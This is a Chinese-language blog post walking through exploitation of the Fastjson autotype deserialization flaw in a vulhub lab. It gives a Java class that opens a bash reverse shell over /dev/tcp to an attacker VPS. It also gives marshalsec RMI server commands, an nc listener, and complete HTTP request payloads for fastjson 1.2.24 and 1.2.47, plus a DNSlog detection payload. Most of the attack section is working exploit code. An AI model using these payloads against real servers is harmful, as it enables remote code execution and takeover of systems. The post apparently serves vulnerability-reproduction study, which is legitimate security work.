当前位置:网站首页>漏洞复现-Fastjson 反序列化
漏洞复现-Fastjson 反序列化
2022-07-07 05:07:00 【_s1mple】
目录
漏洞描述
fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。
漏洞复现
这里漏洞环境主要是用vulhub上的两个fastjson漏洞搭建,搭建完成以后访问8090端口会出现如下所示
漏洞利用
我们需要在vps上开启一个RMI服务调用class文件,首先我们创建test.java用来反弹shell,使用命令javac test.java
编译生成test.class(整个实验环境都是基于java8的基础上)
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/59.110.xx.xx/8002 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
借助marshalsec项目开启rmi服务,监听9999端口,并制定加载远程类test.class
我们首先需要编译生成marshalsec-0.0.3-SNAPSHOT-all.jar
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
先启一个http服务方便等会加载test.class
# python2
python2 -m SimpleHTTPServer
# python3
python3 -m http.server
然后我们再启RMI服务监听9999端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://59.110.xx.xx:8000/#test" 9999
本地服务器监听文件里的端口端口
nc -nvlp xxxx
以上所有操作均在同一台服务器上完成
fastjson 1.2.24
POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://59.110.xx.xx:9999/Test",
"autoCommit":true
}
}
fastjson 1.2.47
POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://59.110.xx.xx:9999/test",
"autoCommit":true
}
}
附录
Fastjson漏洞探测
在http://dnslog.cn/随机生成一个域名,然后构造payload
{"@type":"java.net.InetAddress","val":"dsunaw.dnslog.cn"}
将payload放在请求主体里发送,假如dnslog有记录则存在fastjson漏洞
安装java8
下载地址:https://github.com/frekele/oracle-java/releases
下载jdk-8u221-linux-x64.tar.gz
OR
sudo apt-get install openjdk-8-jdk
卸载
# 查看安装的OpenJDK包
dpkg --list | grep -i jdk
# 卸载OpenJDK相关包
apt-get purge openjdk-*
# 检查所有 OpenJDK包是否都已卸载完毕
dpkg --list | grep -i jdk
安装
# 将压缩包放到/opt/java目录下
mv jdk-8u212-linux-x64.tar.gz /opt/java
# 解压
tar -zxvf jdk--8u212-linux-x64.tar.gz
# 配置环境变量
修改/etc/profile文件
vim /etc/profile
在文末追加如下信息
export JAVA_HOME=/opt/java/jdk1.8.0_212
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${PATH}
# 使java环境生效
source /etc/profile
# 查看是否安装成功
java -version
边栏推荐
- Empire CMS collection Empire template program general
- 力扣(LeetCode)187. 重复的DNA序列(2022.07.06)
- 积分商城管理系统中应包含的四大项
- Call pytorch API to complete linear regression
- Thinkcmf6.0安装教程
- [untitled]
- Linux server development, redis source code storage principle and data model
- Myabtis_ Plus
- The charm of SQL optimization! From 30248s to 0.001s
- 快解析内网穿透为文档加密行业保驾护航
猜你喜欢
Jmeter 的使用
Avatary's livedriver trial experience
LeetCode简单题之找到一个数字的 K 美丽值
Network learning (III) -- highly concurrent socket programming (epoll)
调用 pytorch API完成线性回归
Myabtis_Plus
[quick start of Digital IC Verification] 17. Basic grammar of SystemVerilog learning 4 (randomization)
Excel import function of jeesite form page
2022 simulated examination question bank and online simulated examination of tea master (primary) examination questions
Make LIVELINK's initial pose consistent with that of the mobile capture actor
随机推荐
Network learning (II) -- Introduction to socket
C language flight booking system
通俗易懂单点登录SSO
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after conne
芯片 设计资料下载
2022 Inner Mongolia latest advanced fire facility operator simulation examination question bank and answers
Ansible
Chip design data download
Thinkcmf6.0安装教程
Dedecms collects content without writing rules
[step on the pit series] H5 cross domain problem of uniapp
Open source ecosystem | create a vibrant open source community and jointly build a new open source ecosystem!
【数字IC验证快速入门】17、SystemVerilog学习之基本语法4(随机化Randomization)
【數字IC驗證快速入門】15、SystemVerilog學習之基本語法2(操作符、類型轉換、循環、Task/Function...內含實踐練習)
Network learning (III) -- highly concurrent socket programming (epoll)
2022年全国最新消防设施操作员(初级消防设施操作员)模拟题及答案
力扣(LeetCode)187. 重复的DNA序列(2022.07.06)
Content of string
Empire CMS collection Empire template program general
Yugu p1020 missile interception (binary search)